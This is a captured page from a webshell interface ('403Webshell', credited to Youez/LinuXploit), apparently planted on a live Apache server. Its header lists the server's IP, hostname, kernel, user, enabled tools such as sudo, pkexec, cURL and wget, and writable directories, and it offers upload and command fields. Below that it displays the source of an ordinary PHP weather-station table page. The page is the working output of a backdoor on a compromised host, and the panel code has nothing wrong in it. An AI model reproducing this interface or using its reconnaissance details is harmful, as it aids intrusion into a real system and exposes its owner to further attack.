403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/meteo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/meteo//meteo_panel.php
<!DOCTYPE
html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml">
<head> <meta http-equiv="refresh" content="30" />
<title>Untitled Document</title>
<style>
	h1 {
		color: green;
		font-family: verdana;
		font-size: 200%;
}
	.table-data{
        	margin-left:    auto;
        	margin-right:   auto;
        	width:          500px;
        	height:         450px;
        	overflow:       scroll;
}
	.table-par{
        	font-family:    Verdana;
        	font-size:      14px;
}
</style>





</style>
</head>
<body style = "background-color: beige;"></body>
<body>

<?php

// Session_start();
	include "config.php";
	include "opendb.php";
	include "utility.php";
	include "meteo_header.php";



        $sql = "SELECT * FROM meteo ORDER BY time DESC";
        $result = mysqli_query($conn, $sql);
	if ($node_name_row = $result -> fetch_assoc()) {
		$altitude       = $node_name_row['altitude'];
	}
	$altitude = round($altitude);

	include "meteo_title.php";


			$date1 = $_GET["date1"];
			$date2 = $_GET["date2"];
			$newUtility = new Utility();
?>
		<div class = "table-data">
			<table class = "table-par">
					<tr bgcolor="#008000" style="color:white" align="center">
						<th>Redni broj</th>
						<th>Vreme merenja</th>
						<th>Atmosferski pritisak [mbar]</th>
						<th>Temperatura [ºC]</th>
						<th>Relativna vlažnost [%]</th>
<!--			                        <th>Nadmorska visina [m]</th> -->
					</tr>
<?php
				$row_color = false;
				$id_number = 0;

				$sql = "SELECT * FROM meteo ORDER BY time DESC";

				$result = mysqli_query($conn, $sql);

				while($node_name_row = $result -> fetch_assoc()) {
					$id_number 	= $id_number+1;
					$time 		= $node_name_row['time'];
                                        $pressure 	= $node_name_row['pressure'];
						$pressure = round($pressure,1);
					$temperature 	= $node_name_row['temperature'];
						$temperature = round($temperature,1);
					$rel_humidity 	= $node_name_row['rel_humidity'];
						$rel_humidity = round($rel_humidity,1);
					$altitude 	= $node_name_row['altitude'];
					if ($row_color){
						echo "<tr bgcolor=\"#9ad1f8\" align=\"center\">";
					}
					else {
						echo "<tr bgcolor=\"#cee7f9\" align=\"center\">";
					}
							echo "<td>$id_number</td>";
							echo "<td>$time</td>";
							echo "<td>$pressure</td>";
							echo "<td>$temperature</td>";
							echo "<td>$rel_humidity</td>";
//							echo "<td>$altitude</td>";

						echo "</tr>";
					$row_color = !$row_color;
				}
				echo "</table>";
			echo "</div>";

	$status=0;
	include "closedb.php";
?>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit